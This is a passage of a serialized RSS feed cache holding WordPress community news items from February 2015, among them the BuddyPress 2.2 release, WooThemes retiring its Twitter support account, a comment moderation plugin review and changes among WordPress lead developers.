Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:29;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Matt: Real NFL Scandal\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44652\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/real-nfl-scandal/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1108:\"<blockquote><p>Seattle&#8217;s decision to throw the ball at the goal line with 20 seconds to go in last night&#8217;s Super Bowl was a costly one. But in the long run, it won&#8217;t be nearly as costly to the rest of the United States as the National Football League (NFL) itself.</p>\n<p>Every year, the NFL rakes in around $9.5 billion in revenue. Its commissioner, Roger Goodell, meanwhile, has an annual salary of $44 million. And while those numbers might make sense for any big business, the NFL isn&#8217;t a business &#8211; not technically, at least.</p>\n<p>According to the Public Law 89-800, it&#8217;s a 501(c)6 tax-exempt nonprofit. That&#8217;s right, a nonprofit. In other words, the NFL, one of the most lucrative organizations in all of sports, is subsidized by you and me the taxpayers.</p></blockquote>\n<p>From <a href=\"http://www.truth-out.org/opinion/item/28885-the-real-nfl-scandal\">The Real NFL Scandal</a>. If you&#8217;re curious, here&#8217;s a <a href=\"http://en.wikipedia.org/wiki/Category:501(c)(6)_nonprofit_organizations\">list of other notable 501(c)(6) organizations</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 00:47:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:30;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"WPTavern: Why WooThemes is Smart to Discontinue Its Twitter Support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38563\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://wptavern.com/why-woothemes-is-smart-to-discontinue-its-twitter-support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3992:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg\" rel=\"prettyphoto[38563]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg?resize=1025%2C495\" alt=\"woo-support-twitter-account\" class=\"aligncenter size-full wp-image-38610\" /></a></p>\n<p>WooThemes <a href=\"http://www.woothemes.com/2015/02/retiring-woosupport-twitter/\" target=\"_blank\">announced</a> this week that it will be retiring @WooSupport, its Twitter support account, in favor of other support channels. Social media manager Marina Pape reports that support at the company is otherwise healthy. &#8220;On the contrary, our support is cooking with Customer Happiness this week averaging 90%, all support teams coming in under 24 hours for first-reply time,&#8221; she said.</p>\n<p>WooThemes, like many other WordPress product and service providers, had expanded channels to try to offer support on as many different social channels as possible. Last October, the company <a href=\"http://www.woothemes.com/2014/10/glimpse-world-woosupport/\" target=\"_blank\">announced</a> changes in its support structure:</p>\n<blockquote><p>We&#8217;re opening more and more avenues of communication like the Community, the @WooSupport Twitter handle, and a streamlined Knowledge Base, as well as actively monitoring our social media and ideas boards. You name it, we’re working on it.</p></blockquote>\n<p>Over the past several months, WooThemes has discovered that offering Twitter support is more trouble than it&#8217;s worth. &#8220;Questions get technical and DMs and 140 characters are not ideal facilitators of such things,&#8221; Pape said in the announcement.</p>\n<p>&#8220;Yes, we want to encourage conversation. Yes, we want to have an ear to the ground and be able to help people when the rubber hits the road for them and escalate tickets if people have been waiting for unusually long periods,&#8221; she said. <strong>&#8220;But the truth of the matter is Twitter is not the place to handle support queries and when we try we shoot ourselves in the collective foot.&#8221;</strong></p>\n<p>WooThemes is making a smart move to pull back from a medium that wasn&#8217;t built to handle complex support queries. Instead of spreading staff thin over every social avenue, the company is concentrating on channeling users through an established ticketing system that is already working.</p>\n<p>While anyone can use Twitter for whatever purpose, within its 140 character limit, the brevity that the medium was designed for is not a good fit for managing support. If users find frustration in communicating within Twitter&#8217;s limited capacity, support on this channel is a waste of company time and resources.</p>\n<p>&#8220;But after letting @WooSupport run for a while, we realized what it was actually doing was creating an expectation that we never intended to meet which was that we were able to actually give support over Twitter,&#8221; Pape explained. <strong>&#8220;140 characters are not enough to talk about the weather let alone why your custom-built-million-moving-parts website is breaking.&#8221;</strong></p>\n<p>WooThemes is opting to limit support to its ZenDesk ticketing system, instead of having social media managers playing middleman via tweets. &#8220;DMs on Twitter to get details and sort out problems is akin to birthing pineapples,&#8221; Pape said. Encouraging the ticketing system as the primary avenue of support is a move toward greater efficiency.</p>\n<p>WordPress hosting companies and product/service providers would do well to examine how they are using their various social channels and whether or not some could be trimmed back in favor of more suitable mediums for communication. Cutting out Twitter support may not be the answer for every product or customer demographic, but being &#8220;always on&#8221; and &#8220;always available&#8221; via every channel is not a realistic approach to support.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 20:56:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:31;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:95:\"WPTavern: Thoughtful Comments Plugin Adds Comment Moderation Links to the Frontend of WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38542\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:105:\"http://wptavern.com/thoughtful-comments-plugin-adds-comment-moderation-links-to-the-frontend-of-wordpress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3054:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38557\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png?resize=669%2C348\" alt=\"Thoughful Comments Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/98640399@N08/9410826173\">GirlOnRail_BKGs_BartaIV 1024&#215;768</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The backend of WordPress has a set of tools to help administrators moderate comments, but what if you could bring some of those tools to the frontend? Developed by <a title=\"http://foliovision.com\" href=\"http://foliovision.com\">Foliovision</a>, <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">Thoughtful Comments</a> is compatible with Jetpack Comments and adds the following links to comments on the frontend of WordPress:</p>\n<ul>\n<li>Approve</li>\n<li>Delete</li>\n<li>Delete Thread</li>\n<li>Delete and Ban IP</li>\n<li>Delete Thread and Ban IP</li>\n</ul>\n<p>Usernames highlighted in red indicate a comment that&#8217;s in the moderation queue. You can either approve, delete, or delete and ban the IP address of moderated comments. It&#8217;s important to note that deleted comments are sent to the trash instead of being removed completely from WordPress. For this reason, I think the Delete link should be renamed to Trash so its function makes more sense.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38554\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png?resize=708%2C293\" alt=\"Comment in Moderation Status\" /></a>Comment in Moderation Status\n<p>You can also delete entire threads.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38555\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png?resize=640%2C267\" alt=\"Various Administration Links\" /></a>Various Administration Links\n<p>Editing posts, administering comments, and managing a site from the frontend is a huge time saver. With <a title=\"https://wordpress.org/plugins/wp-front-end-editor/\" href=\"https://wordpress.org/plugins/wp-front-end-editor/\">certain aspects of WordPress</a> making their way to the frontend, I wouldn&#8217;t be surprised if one day, the features within Thoughtful Comments end up in core. In the future, I think users will expect to be able to accomplish specific tasks like these without having to browse through clunky administration screens.</p>\n<p>Thoughtful Comments is compatible with WordPress 4.1 and available from the <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">WordPress plugin directory</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 18:33:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:32;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WPWeekly Episode 178 – A Conversation With Frenemy Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38572&preview_id=38572\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"http://wptavern.com/wpweekly-episode-178-a-conversation-with-frenemy-brian-krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3687:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the founder of <a title=\"https://poststatus.com/\" href=\"https://poststatus.com/\">PostStatus</a>, Brian Krogsgard. He explains how his experience writing for WPCandy provided the foundation to launch PostStatus. We find out how well the <a title=\"https://poststatus.com/club/\" href=\"https://poststatus.com/club/\">PostStatus club</a> is doing since launching two weeks ago. Last but not least, we discuss whether or not Krogsgard has the right ingredients to be financially successful in the WordPress content business.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\" href=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\">Recap of PressNomics 3</a><br />\n<a title=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\" href=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\">Human Made Acquires Australian Based WordPress Agency Sennza</a><br />\n<a title=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\" href=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\">Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin</a><br />\n<a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">BuddyPress 2.2 Spumoni Released, Featuring New Member Type API</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/user-roles-and-capabilities/\" href=\"https://wordpress.org/plugins/user-roles-and-capabilities/\">User Roles and Capabilities</a> allows you to manage user roles and capabilities. Using this plugin, you can create new roles and delete existing roles.</p>\n<p><a title=\"https://wordpress.org/plugins/wp-style-kit/\" href=\"https://wordpress.org/plugins/wp-style-kit/\">WP Style Kit</a> is a plugin that adds additional features to the Custom Styles section of the Visual Editor. You can add beautiful custom styles such as, additional headlines, custom bullets, circles, quotes, and call out boxes.</p>\n<p><a title=\"https://wordpress.org/plugins/pet-adoption-listings/\" href=\"https://wordpress.org/plugins/pet-adoption-listings/\">Pet Adoption Listings</a> provides two easy ways to display listings of adoptable pets from a shelter&#8217;s profile at Adopt-a-Pet.com via an iframe.</p>\n<p><a title=\"https://wordpress.org/plugins/login-joomla-users/\" href=\"https://wordpress.org/plugins/login-joomla-users/\">Login Joomla Users</a> allows migrated users from Joomla to login to WordPress. Tested on WordPress 4.1 with users migrated from Joomla 2.5.9. After the first successful login, the password field will automatically be hashed by WordPress.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, February 11th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #178:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 17:33:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:33;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Great Doctorow Essay\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44631\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/great-doctorow-essay/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:157:\"<p>Cory Doctorow on <a href=\"http://www.wired.com/2014/12/government-computer-security\">How Laws Restricting Tech Actually Expose Us to Greater Harm</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 05:50:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:34;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: BuddyPress 2.2 Spumoni Released, Featuring New Member Type API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37925\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5548:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg?resize=1025%2C498\" alt=\"l-and-b\" class=\"aligncenter size-full wp-image-38537\" /></a></p>\n<p>BuddyPress 2.2 &#8220;<a href=\"https://buddypress.org/2015/02/buddypress-2-2-spumoni/\" target=\"_blank\">Spumoni</a>&#8221; was released today. The name pays tribute to<a href=\"http://www.spumonigardens.com/\" target=\"_blank\"> L&amp;B Spumoni Gardens</a>, a 70 year old, family-owned pizza joint in Brooklyn, NY. This release is packed full of features that offer developers more flexibility in extending BuddyPress.</p>\n<h2>New Member Type API</h2>\n<p>BuddyPress 2.2 introduces a basic <a href=\"http://wptavern.com/buddypress-2-2-on-track-to-provide-a-basic-member-type-api\" target=\"_blank\">Member Type API</a> that developers can use to create different user types, i.e. student, teacher, etc. This new API is a huge step forward for building niche social networks on top of WordPress. It makes it possible to restrict content, filter the member directory, assign different permissions, etc., based on different member types.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png?resize=304%2C173\" alt=\"member-types\" class=\"aligncenter size-full wp-image-38546\" /></a></p>\n<p>The API does nothing visible for users in this first iteration but can be utilized to create plugins that register different member types and build out further capabilities from there. Admins will be able to change a user&#8217;s member type, which is currently limited to one, via a new meta box that is added to the community profile screen.</p>\n<h2>Custom Post Type Support Added to the Activity Stream</h2>\n<p>Custom post type support for the activity stream is a major feature that has been <a href=\"https://buddypress.trac.wordpress.org/ticket/3460\" target=\"_blank\">three years in the making</a>. Developers can now add support for their post types to be tracked in the activity stream in the same way that updates appear for regular posts via the blogs component. Adding support for CPTs is as simple as including one line of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">add_post_type_support( \'book\', \'buddypress-activity\' );</pre>\n<p>Note that this feature isn&#8217;t automatically turned on &#8211; a custom post type must declare support for it. The single line of code will add a generic update that can be further customized via arguments added when registering the post type. Comment support for CPT activity items is also optional.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png?resize=1025%2C326\" alt=\"cpt-activity\" class=\"aligncenter size-full wp-image-35302\" /></a></p>\n<p>Custom post types with activity stream support can then be easily sorted via the activity dropdown filters:</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png?resize=1025%2C366\" alt=\"activity-dropdown\" class=\"aligncenter size-full wp-image-35299\" /></a></p>\n<p>Check out the BuddyPress codex for more information on <a href=\"https://codex.buddypress.org/plugindev/post-types-activities/#adding-the-buddypress-support-and-specific-labels-at-post-type-registration\" target=\"_blank\">how to customize activity attributes</a> when registering a custom post type.</p>\n<p>This release also <a href=\"http://wptavern.com/buddypress-2-2-will-add-support-for-composer\" target=\"_blank\">adds support for Composer</a>. BuddyPress will soon be listed at <a href=\"https://packagist.org/\" target=\"_blank\">Packagist.org</a> now that the official release is out.</p>\n<p>Other notable features and improvements include:</p>\n<ul>\n<li>Several new query API’s (based on WordPress improvements) for retrieving more specific results</li>\n<li>Continued cache enhancements, particularly for multi-site and multi-network WordPress configurations</li>\n<li>Message Meta – Private message conversations are now more flexible with an additional metadata table</li>\n<li>The Activity and Extended Profiles components now support advanced conditional logic, like nested clauses and multiple operators — A AND ( B OR C ). The Activity component now also supports querying by multiple scopes.</li>\n<li>Mentions: Better support for responsive devices</li>\n<li>Improved UI for managing messages, new “Read/Unread” links for each message thread, better bulk message management</li>\n<li>Numerous improvements to the Legacy template pack</li>\n<li>Increased coverage of inline code documentation, actions, and filters</li>\n</ul>\n<p>Check out the full list of improvements on the <a href=\"https://codex.buddypress.org/releases/version-2-2/\" target=\"_blank\">2.2 version page</a> in the codex.</p>\n<p>BuddyPress 2.2 is the result of several months of hard work from 44 contributors. The new features in this release enable the plugin to be more flexible for building niche social networks with different user types and custom content types integrated into the activity stream. The official BuddyPress 2.2 update is now available via the WordPress admin.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 00:26:28 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:35;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"Post Status: WordPress lead developer changes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8385\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://poststatus.com/wordpress-lead-developer-changes/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4131:\"<p>Yesterday, <a href=\"https://make.wordpress.org/core/2015/02/03/new-lead-developers-helen-and-dion/\">it was announced</a> that Helen Hou-Sandí and Dion Hulse are now lead developers of the WordPress project. That announcement, we learned today, is tied to another: that Peter Westwood and Ryan Boren <a href=\"https://make.wordpress.org/core/2015/02/04/new-chapters-for-ryan-and-westi/\">are stepping down</a> from their lead developer roles.</p>\n<p>Peter and Ryan have been enormously influential on the project.</p>\n<p>Ryan Boren has been committing to the WordPress codebase for over 11 years (aka: since the beginning), and has more commits &#8212; 7,961 according to Open Hub &#8212; than anyone. Peter has been committing for 7 years, and has 1,261 commits to his name. However, a lead developer&#8217;s influence goes well beyond commit; they are the guardians of the project.</p>\n<p>Both Ryan and Peter have been more quiet lately than years prior. Andrew Nacin describes it like so:</p>\n<blockquote><p>For some time now, Ryan and Peter have avoided weighing in on technical matters. Very simply, when you aren’t able to be active in development, you know you’re not up to speed, and you realize your words shouldn’t carry the weight that they do. Being able to make this <a href=\"http://nacin.com/2014/02/07/how-wordpress-chooses-committers/\">judgment</a> is one of the things that makes both of them such great leaders.</p></blockquote>\n<p>Peter will step into an emeritus role:</p>\n<blockquote><p>Peter will be moving into a dormant/inactive/emeritus status. We hope to have him back when his life and work allows. In the meantime, you may see him committing a bug fix here and there, as he is wont to do.</p></blockquote>\n<p>Ryan has shifted his focus, however, and is concentrating fully on UX in WordPress:</p>\n<blockquote><p>Ryan has been focusing all of his energy on improving UX for more than a year, especially for mobile and touch devices, and especially for workflows like media management. So I’m pleased to say he’ll continue to do that:<strong>Ryan will be spearheading UX for WordPress in 2015.</strong> It’s been a while since we’ve had someone truly focusing on just UX, so this is really exciting.</p></blockquote>\n<p>With this shift, Helen and Dion are stepping into official roles to represent their enormous impact on the project over the last several years.</p>\n<p>(Note: this bit of the post will look familiar to Club members)</p>\n<p>Helen works for <a href=\"http://10up.com/\">10up</a>, a 